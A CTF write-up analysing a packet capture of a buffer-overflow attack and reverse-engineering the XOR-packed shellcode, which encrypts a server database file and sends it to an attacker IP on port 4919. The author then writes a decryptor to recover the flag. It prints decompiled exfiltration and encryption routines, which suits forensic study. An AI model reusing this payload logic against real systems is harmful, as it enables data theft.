2023
Summary
This year, my friends and I participated in the Capture the Flag (CTF) competition and secured 4th place.
One particularly noteworthy challenge was created by Kaspersky. It required analyzing a traffic record with Wireshark to uncover that a malicious actor had exploited a service using a memory corruption bug, allowing them to execute shellcode on the machine.
To solve the challenge, we had to analyze the shellcode and discovered that it was packing additional code. After writing an unpacker, we noted that it was encrypting a file and sending it to the attacker. We then developed a program to decrypt the exfiltrated data and successfully retrieved the flag
Putting the hands on the payload
Analysing the PCAP
The challenge provided us with a file called "attacker_traffic.pcapng."
Upon opening it in Wireshark, we observed a large number of recorded packets.

Scrolling down a bit, I noticed an intriguing packet requesting a “token” for the “SHINRA CORPORATION SERVER.”

Upon examining the TCP stream, it became evident that instead of sending a token, the user transmitted a lengthy series of ‘A’ characters. This behaviour resembles an attempt to overflow a buffer to manipulate the stack pointer and execute code.

Following the sequence of ‘A’ characters, there appears to be a series of NOPs, typically used to ensure the execution flow reaches the shellcode placed afterward.

As observed, the first phase of the shellcode appears normal, but the second part seems nonsensical. To further investigate, let’s dump all the data sent by the attacker and save it to a file using CyberChef.

Decompiling the shellcode
When attempting to import the program into Ghidra, since it is not an executable file like an ELF or a PE, Ghidra prompted for the architecture. For the initial attempt, I selected the Intel/AMD 64-bit x86 architecture.

After decompiling the program, I simplified the code returned by Ghidra for clarity. Here is the edited version:
void UndefinedFunction_00000000(void) {
char *in_RAX;
long i;
*in_RAX = *in_RAX + (char)in_RAX;
for (i = 0; *(byte *)(i + 0xa1) = *(byte *)(i + 0xa1) ^ 0x55, i != 0x3b50;
i = i + 1) {
}
}
As I mentioned before, Ghidra could only decompile the first stage of the code because the valid instructions were present only in that stage.
The first stage is simply a for loop that performs an XOR operation with the key 0x55 on the code starting at address 0xa1 and stopping at address 0x3b50. Doing this operation in CyberChef, we can immediately strings about the GLIBC and some imported symbols.

Finally, we can see what the payload is doing for real:
undefined8 FUN_00401704(void) {
undefined8 uVar1;
undefined8 local_58;
undefined5 local_50;
undefined3 uStack_4b;
undefined5 uStack_48;
undefined8 local_43;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
size_t local_20;
void *local_18;
int *local_10;
local_38 = 0x1d0b05021d010a02;
local_30 = 0x330000021d070002;
local_58 = 0x41501c565e5c5b1c;
local_50 = 0x52505a475a;
uStack_4b = 0x406c5f;
uStack_48 = 0x4156454156;
local_43 = 0x51571d56415c501c;
FUN_00401489(&local_58,0x1d);
local_10 = (int *)FUN_004014d7(&local_58,&local_20);
if (*local_10 == -0x21524111) {
if (local_10 == (int *)0x0) {
uVar1 = 1;
}
else {
local_18 = calloc(local_20,1);
if (local_18 == (void *)0x0) {
uVar1 = 1;
}
else {
FUN_004015b0();
FUN_00401314(&DAT_004040b0,local_10,local_20,local_18,&local_28);
FUN_00401489(&local_38,0x10);
FUN_00401659(&local_38,0x1337,local_18,local_28);
puts("hehe");
free(local_18);
munmap(local_10,local_20);
uVar1 = 0;
}
}
}
else {
uVar1 = 1;
}
return uVar1;
}
Reversing the payload
Getting the original strings
Decompiling the first function, “FUN_00401489,” yielded the following pseudo-code:
void FUN_00401489(long param_1,uint param_2) {
uint i;
for (i = 0; i < param_2; i = i + 1) {
*(byte *)(param_1 + (int)i) = *(byte *)(param_1 + (int)i) ^ 0x33;
}
return;
}
This function iterates over param_1
until param_2
, xoring each character by 0x33
. Consequently, every invocation of this function decrypts a string. Following a thorough analysis of the references pertaining to this function, three strings were uncovered.

Getting the strings and applying the same xor operation, we can get these results:
5P3R_S3CR3T_K3Y
: an encryption key, we need to check what the function which use it does/home/critical_sl_server/core.db
: the file being extracted by the attacker192.168.134.133
: the attacker IP to receive the file
So, after renaming the strings variable name we can verify the second called function “local_10 = (int *)FUN_004014d7(&file_path,&local_20)
”:
void * FUN_004014d7(char *param_1,size_t *param_2) {
int iVar1;
stat local_a8;
void *local_18;
int local_c;
local_c = open(param_1,0);
if (local_c == -1) {
local_18 = (void *)0x0;
}
else {
iVar1 = fstat(local_c,&local_a8);
if (iVar1 == -1) {
close(local_c);
local_18 = (void *)0x0;
}
else {
*param_2 = local_a8.st_size;
local_18 = mmap((void *)0x0,*param_2,1,2,local_c,0);
if (local_18 == (void *)0xffffffffffffffff) {
close(local_c);
local_18 = (void *)0x0;
}
else {
close(local_c);
}
}
}
return local_18;
}
This function is opening the the core.db
file using the open
syscall, saving it size into local_20
and mapping the file content to the local_18 variable. If any of those calls fails, the function returns 0x00, else it return the content of core.db
.
Following the instruction flow, the program checks if the file content starts with 0xef
and allocate a buffer to local_18 with the size of the file.
if (*file_data == L'\xdeadbeef') {
if (file_data == (int *)0x0) {
return_code = 1;
}
else {
file_buffer = calloc(file_size,1);
if (file_buffer == (void *)0x0) {
return_code = 1;
}
else {
FUN_004015b0();
The next called function is the FUN_004015b0
:
void FUN_004015b0(void) {
tm local_58;
time_t local_20;
char local_13 [11];
local_20 = time((time_t *)0x0);
localtime_r(&local_20,&local_58);
snprintf(local_13,0xb,"%02d/%02d/%02d",(ulong)(uint)(local_58.tm_year % 100),
(ulong)(local_58.tm_mon + 1),(ulong)(uint)local_58.tm_mday);
xor_0x33(&5P3R_S3CR3T_K3Y,0xf);
snprintf(&DAT_004040b0,0x18,"%s%s",&5P3R_S3CR3T_K3Y,local_13);
return;
}
This function is getting the time and storing it into the local_20
variable. It stores the date in the format “yy/mm/dd” to the local_13
variable. With that, it appends that formated date to the end of the 5P3R_S3CR3T_K3Y and save it to DAT_004040b
.
Back in Wireshark, we can see when the Arrival Time of the package, which was “Oct 26, 2023”.

So, with these information we can restore the string used in the time of the attack, which is: “5P3R_S3CR3T_K3Y23/10/26”. To make it easy to recognise, I’ll rename DAT_004040b
to “final_key”
Analysing encryption functions
The next interesting function is FUN_00401314(&final_key,file_data,file_size,file_buffer,&local_28)
:
void FUN_00401314(char *final_key,long file_data,ulong file_size,long file_buffer,long *param_5) {
size_t sVar1;
byte local_128 [262];
byte local_22;
byte local_21;
ulong local_20;
ulong local_18;
byte local_a;
byte local_9;
sVar1 = strlen(final_key);
FUN_00401226(local_128,final_key,sVar1);
local_9 = 0;
local_a = 0;
local_20 = file_size;
*param_5 = 0;
for (local_18 = 0; local_18 < file_size; local_18 = local_18 + 1) {
local_9 = local_9 + 1;
local_a = local_a + local_128[(int)(uint)local_9];
local_21 = local_128[(int)(uint)local_9];
local_128[(int)(uint)local_9] = local_128[(int)(uint)local_a];
local_128[(int)(uint)local_a] = local_21;
local_22 = local_128[(int)(uint)(byte)(local_128[(int)(uint)local_a] +
local_128[(int)(uint)local_9])];
*(byte *)(local_18 + file_buffer) =
*(byte *)(local_18 + file_data) ^
local_128[(int)(uint)(byte)(local_128[(int)(uint)local_a] + local_128[(int)(uint)local_9])]
;
*param_5 = *param_5 + 1;
}
return;
}
Right off the bat we can see it is encrypting the file content.
Before it starting encrypt the file content itself, it calls the function FUN_00401226(local_128,final_key,final_key_length)
.
For the simplification sake, this is the function rewritten to be more understandable:
void shuffle_final_key(unsigned char* shuffled_key, long final_key, ulong final_key_length) {
unsigned char temp;
int j, local_index, i;
for (i = 0; i < 0x100; ++i) {
shuffled_key[i] = (unsigned char)i;
}
local_index = 0;
for (j = 0; j < 0x100; ++j) {
local_index = (local_index + shuffled_key[j] + (int)shuffled_key[(final_key + j) % final_key_length]) % 0x100;
temp = shuffled_key[j];
shuffled_key[j] = shuffled_key[local_index];
shuffled_key[local_index] = temp;
}
}
This is a function to shuffle the key to let it ready to use to encrypt the file content.
Here is a more understandable version of the function FUN_00401314:
void encrypt_file(char *final_key, long file_data, ulong file_size, long file_buffer, long *param_5) {
size_t final_key_length;
byte shuffled_key[262], local_22, local_21, local_a, local_9;
ulong local_20, i;
final_key_length = strlen(final_key);
shuffle_final_key(shuffled_key, final_key, final_key_length);
local_9 = 0;
local_a = 0;
local_20 = file_size;
*param_5 = 0;
for (i = 0; i < file_size; i++) {
local_9++;
local_a += shuffled_key[local_9];
local_21 = shuffled_key[local_9];
shuffled_key[local_9] = shuffled_key[local_a];
shuffled_key[local_a] = local_21;
local_22 = shuffled_key[shuffled_key[local_a] + shuffled_key[local_9]];
*(byte *)(i + file_buffer) = *(byte *)(i + file_data) ^ local_22;
(*param_5)++;
}
}
As all the operations are xor, we can easily decrypt the data just replicating this algorithm with the shuffled key and the encrypted data.
The next function being called is FUN_00401659(&attacker_ip,0x1337,file_buffer,local_28)
. As it contains the attacker_ip
followed by the 0x1337 (4919 in decimal) and the encrypted data (local_28
), I assumed it is sending the encrypted data to 192.168.134.133:4919.
Looking all the connections on the port 4919 I found just one packet but the TCP handshake:

Saving the data to a file we are ready to start to write a program which do the same symetric encryption algorithm in order to get the decrypted data.
#include <stdio.h>
#include <stdlib.h>
void main_algorithm(unsigned char *secret_key, unsigned char *encrypted_data, int data_length, unsigned char *plain_text) {
int secret_key_length = strlen(secret_key);
unsigned char shuffled_key[256];
for (int i = 0; i < 256; i++) {
shuffled_key[i] = i;
}
int aux = 0;
for (int j = 0; j < 256; j++) {
aux = (shuffled_key[j] + aux + secret_key[j % secret_key_length]) % 256;
unsigned char v4 = shuffled_key[j];
shuffled_key[j] = shuffled_key[aux];
shuffled_key[aux] = v4;
}
int j = 0, k = 0;
for (int i = 0; i < data_length; i++) {
j = (j + 1) % 256;
k = (k + shuffled_key[j]) % 256;
unsigned char v12 = shuffled_key[j];
shuffled_key[j] = shuffled_key[k];
shuffled_key[k] = v12;
unsigned char v11 = shuffled_key[(shuffled_key[j] + shuffled_key[k]) % 256];
plain_text[i] = encrypted_data[i] ^ v11;
}
}
int main() {
unsigned char secret_key[] = "5P3R_S3CR3T_K3Y23/10/26";
unsigned char encrypted_data[] = {
0xe7, 0x3b, 0x3a, 0xdb, 0xc1, 0xf1, 0x72, 0xd1, 0x16, 0x96, 0x0e, 0x8b, 0x30, 0xb2, 0xa1, 0x1f,
0x82, 0xca, 0xa8, 0xe1, 0xc4, 0xd6, 0x4a, 0x44, 0xdf, 0x55, 0x94, 0x3a, 0xfa, 0xdb, 0xab, 0xf2, 0x7f,
0xfa, 0x07, 0x79, 0xb4, 0xbc, 0x10, 0xea, 0x80, 0x05, 0x88, 0xf7, 0xe8, 0xce, 0x0f, 0x36, 0x6d, 0x78,
0xdf, 0x37, 0x86, 0x2e, 0x74, 0xa8, 0x9d, 0xe2, 0xa3, 0x07, 0x76, 0x66, 0xbd, 0xb3, 0xef, 0xe6, 0xbd,
0xbf, 0x43, 0x59, 0xe8, 0x4e, 0xca, 0x43, 0x6f, 0xc4, 0x2d, 0xf0, 0x80, 0xb1, 0x9a, 0x4d, 0x05, 0xf3,
0x40, 0xcf, 0x56, 0x3c, 0x9f, 0xde, 0x79, 0x7d, 0x5b, 0xc1, 0x8a, 0xeb, 0xa5, 0xcd, 0x01, 0x5a, 0x9a,
0x7a, 0x5e, 0x90, 0xcd, 0xf2, 0x86, 0x18, 0x76, 0x2f, 0x93, 0x4a, 0x69, 0xe9, 0xe0, 0x5f, 0xbf, 0x0c,
0x63, 0x2f, 0x8e, 0x80, 0x05, 0xd1, 0x31, 0x81, 0x7d, 0x59, 0x03, 0x8f, 0x0d, 0x6a, 0x0b, 0x85, 0xdb,
0x33, 0xf3, 0xbd, 0xeb, 0xd2, 0xcc, 0x61, 0x7d, 0x82, 0x71, 0x78, 0x27, 0x9c, 0x87, 0xb0, 0x65, 0x7d,
0xf6, 0xc2, 0x0a, 0x65, 0x17, 0xfa, 0x95, 0x1a, 0xbe, 0xdf, 0x70, 0x74, 0xc6, 0xe8, 0x0f, 0x2a, 0xf9,
0xbf, 0xc5, 0xd2, 0xc0, 0xb2, 0xcb, 0x34, 0x5f, 0x9a, 0x0d
};
int data_length = sizeof(encrypted_data) / sizeof(encrypted_data[0]);
unsigned char plain_text[data_length];
main_algorithm(secret_key, encrypted_data, data_length, plain_text);
puts(plain_text);
return 0;
}
After executing it, we got the flag.

Last updated